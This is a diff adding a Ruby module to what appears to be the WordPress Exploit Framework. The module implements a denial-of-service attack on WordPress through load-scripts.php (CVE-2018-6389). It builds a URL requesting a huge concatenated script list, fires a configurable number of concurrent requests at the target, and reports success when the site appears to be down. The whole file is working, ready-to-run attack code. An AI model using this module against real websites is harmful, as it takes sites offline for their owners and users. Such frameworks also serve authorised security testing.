|
| 1 | +# frozen_string_literal: true |
| 2 | + |
| 3 | +class Wpxf::Auxiliary::LoadScriptsDos < Wpxf::Module |
| 4 | + include Wpxf |
| 5 | + include Wpxf::Net::HttpClient |
| 6 | + |
| 7 | + def initialize |
| 8 | + super |
| 9 | + |
| 10 | + update_info( |
| 11 | + name: 'WordPress "load-scripts.php" DoS', |
| 12 | + desc: %( |
| 13 | + All versions of WordPress, as of March, 2018, are vulnerable to a |
| 14 | + denial of service attack by making large amounts of requests to the |
| 15 | + load-scripts.php file. This module allows users to configure a maximum |
| 16 | + number of requests (via `max_requests`), and the number of threads to |
| 17 | + use (`max_http_concurrency`) and will execute the requests and then |
| 18 | + check the status of the website. |
| 19 | + ), |
| 20 | + author: [ |
| 21 | + 'Barak Tawily', # Vulnerability disclosure |
| 22 | + 'rastating' # WPXF module |
| 23 | + ], |
| 24 | + references: [ |
| 25 | + ['CVE', '2018-6389'], |
| 26 | + ['WPVDB', '9021'], |
| 27 | + ['URL', 'https://baraktawily.blogspot.co.uk/2018/02/how-to-dos-29-of-world-wide-websites.html'] |
| 28 | + ], |
| 29 | + date: 'Feb 05 2018' |
| 30 | + ) |
| 31 | + |
| 32 | + register_options([ |
| 33 | + IntegerOption.new( |
| 34 | + name: 'max_requests', |
| 35 | + required: true, |
| 36 | + desc: 'Max number of requests to send', |
| 37 | + default: 200 |
| 38 | + ), |
| 39 | + IntegerOption.new( |
| 40 | + name: 'http_client_timeout', |
| 41 | + desc: 'Max wait time in seconds for HTTP responses', |
| 42 | + default: 5, |
| 43 | + required: true |
| 44 | + ) |
| 45 | + ]) |
| 46 | + end |
| 47 | + |
| 48 | + def max_requests |
| 49 | + normalized_option_value('max_requests') |
| 50 | + end |
| 51 | + |
| 52 | + def check |
| 53 | + wordpress_and_online? ? :vulnerable : :unknown |
| 54 | + end |
| 55 | + |
| 56 | + def vulnerable_url |
| 57 | + normalize_uri( |
| 58 | + full_uri, |
| 59 | + 'wp-admin', |
| 60 | + 'load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,'\ |
| 61 | + 'wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,'\ |
| 62 | + 'wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,'\ |
| 63 | + 'scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound'\ |
| 64 | + ',scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,'\ |
| 65 | + 'jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,'\ |
| 66 | + 'jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,'\ |
| 67 | + 'jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate'\ |
| 68 | + ',jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,'\ |
| 69 | + 'jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,'\ |
| 70 | + 'jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu'\ |
| 71 | + ',jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,'\ |
| 72 | + 'jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,'\ |
| 73 | + 'jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color'\ |
| 74 | + ',schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,'\ |
| 75 | + 'jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject'\ |
| 76 | + ',moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers'\ |
| 77 | + ',comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect'\ |
| 78 | + ',mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement'\ |
| 79 | + ',wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,'\ |
| 80 | + 'wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,'\ |
| 81 | + 'language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent'\ |
| 82 | + ',customize-base,customize-loader,customize-preview,customize-models,customize-views,'\ |
| 83 | + 'customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets'\ |
| 84 | + ',customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models'\ |
| 85 | + ',wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox'\ |
| 86 | + ',tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,'\ |
| 87 | + 'media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,'\ |
| 88 | + 'custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,'\ |
| 89 | + 'wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,'\ |
| 90 | + 'custom-header,custom-background,media-gallery,svg-painter&ver=4.9.1' |
| 91 | + ) |
| 92 | + end |
| 93 | + |
| 94 | + def setup_requests |
| 95 | + opts = { |
| 96 | + url: vulnerable_url, |
| 97 | + method: :get |
| 98 | + } |
| 99 | + |
| 100 | + self.complete_requests = 0 |
| 101 | + max_requests.times do |
| 102 | + queue_request(opts) do |_res| |
| 103 | + self.complete_requests += 1 |
| 104 | + emit_warning("#{complete_requests} requests executed") if (complete_requests % 10).zero? |
| 105 | + end |
| 106 | + end |
| 107 | + end |
| 108 | + |
| 109 | + def run |
| 110 | + return false unless super |
| 111 | + |
| 112 | + emit_info "Preparing #{max_requests} requests..." |
| 113 | + setup_requests |
| 114 | + |
| 115 | + emit_info "Beginning execution of #{max_requests} requests over #{max_http_concurrency} threads" |
| 116 | + execute_queued_requests |
| 117 | + emit_success 'Finished executing requests' |
| 118 | + |
| 119 | + if wordpress_and_online? |
| 120 | + emit_error "FAILED: #{full_uri} appears to still be online" |
| 121 | + return false |
| 122 | + else |
| 123 | + emit_success "#{full_uri} appears to be down" |
| 124 | + return true |
| 125 | + end |
| 126 | + end |
| 127 | + |
| 128 | + attr_accessor :complete_requests |
| 129 | +end |
0 commit comments